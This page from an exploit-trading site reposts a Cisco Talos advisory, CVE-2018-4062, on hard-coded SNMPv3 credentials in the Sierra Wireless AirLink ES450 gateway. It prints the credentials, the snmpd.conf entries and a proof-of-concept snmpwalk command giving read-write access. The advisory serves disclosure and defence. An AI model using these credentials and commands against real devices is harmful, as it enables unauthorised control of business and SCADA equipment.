0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Sierra Wireless AirLink ES450 SNMPD Hard-Coded Credentials Vulnerability
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Sierra Wireless AirLink ES450 SNMPD hard-coded credentials vulnerability CVE Number CVE-2018-4062 Summary A hard-coded credentials vulnerability exists in the snmpd function of the Sierra Wireless AirLink ES450 FW 4.9.3. Activating snmpd outside of the WebUI can cause the activation of the hard-coded credentials, resulting in a hard-coded, in the exposure of a privileged user. An attacker can activate snmpd without any configuration changes to trigger this vulnerability. Tested Versions Sierra Wireless AirLink ES450 FW 4.9.3 Product URLs https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/ CVSSv3 Score 7.7 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H CWE CWE-798: Use of Hard-coded Credentials Details Sierra Wireless manufactures wireless communications equipment. They provide embedded solutions and wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is an LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting point-of-sale devices, remote SCADA equipment, or other business-critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration. Hard-coded credentials of sierra:12345678:abcdefgh are left in the snmpd.conf files for SNMP v3. This hard-coded user is active if snmpd is executed from outside of the web user interface. The sierra user has read-write privileges for the device. snmpwalk -v3 -u sierra -l authPriv -a MD5 -A 12345678 -x DES -X abcdefgh 192.168.13.31 -e 80001f8880e8e6831c32486858 This command performs a privileged snmpwalk of the device's MIB. The configuration files that are responsible for these hard-coded credentials are show below. /usr/local/share/snmp/snmpd.conf ########################################################################### # # snmpd.conf # # - created by the snmpconf configuration program # ########################################################################### # SECTION: Access Control Setup # # This section defines who is allowed to talk to your running # snmp agent. # rwuser: a SNMPv3 read-write user # arguments: user [noauth| auth|priv] [restriction_oid] # rwuser sierra priv rocommunity public ... truncated for brevity sysservices 12 rwuser sierra /var/net-snmp/snmpd.conf createUser sierra MD5 "12345678" DES "abcdefgh" This vulnerability was discovered and tested using the AirLink ES450. This vulnerability most likely also affects the AirLink GX450 product as well. Exploit Proof of Concept Start /usr/local/sbin/snmpd -f this can be done using other exploits, or via the root shell. Execute snmpwalk -v3 -u sierra -l authPriv -a MD5 -A 12345678 -x DES -X abcdefgh 192.168.13.31 -e 80001f8880e8e6831c32486858 for a full snmpwalk of the device Note: This will not work if SNMP is activated through the WebUI as depending on the version that you activate, one of the two files are overwritten during configuration. Timeline 2018-12-14 - Vendor disclosure 2018-12-17 - Vendor acknowledged 2019-01-08 - Discussion to review vendor's analysis of issues 2019-03-26 - Vendor established timelines for fix/public disclosure 2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756 2019-04-25 - Public Release Credit Discovered by Carl Hurd of Cisco Talos. # 0day.today [2024-11-16] #